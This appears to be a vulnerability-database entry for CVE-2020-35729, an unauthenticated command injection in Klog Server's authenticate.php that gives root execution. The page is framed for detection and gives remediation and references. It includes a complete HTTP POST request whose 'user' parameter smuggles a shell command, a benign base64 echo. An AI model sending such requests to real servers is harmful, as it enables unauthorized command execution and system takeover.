🔙 목록으로 돌아가기

CVE-2020-35729: Klog Server <=2.41 - Unauthenticated Command Injection

TitleKlog Server <=2.41 - Unauthenticated Command Injection
Authordwisiswant0
SeverityCritical
ImpactAn attacker can execute arbitrary commands on the server, leading to remote code execution and potential compromise of the system.
RemediationUpgrade to a patched version of Klog Server (>=2.42) or apply the vendor-supplied patch.
CVSS Score9.8
EPSS Score0.90634
CVE IDCVE-2020-35729
CWE IDCWE-78
Tags cve cve2020 klog rce klogserver vuln

🔍 Vulnerability Description

Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The authenticate.php file uses the user HTTP POST parameter in a call to the shell_exec() PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The sudo configuration permits the Apache user to execute any command as root without providing a password, resulting in privileged command execution as root. Originated from Metasploit module, copyright (c) space-r7.

🌐 HTTP Request

POST /actions/authenticate.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.2 Safari/537.36
Connection: close
Content-Length: 95
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

user=eyqsz%20%26%20echo%20%cG9jLXRlc3Rpbmc%3D%22%20%7C%20base64%20-d%20%26%20echo%22&pswd=eyqsz

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-35729.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-35729.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A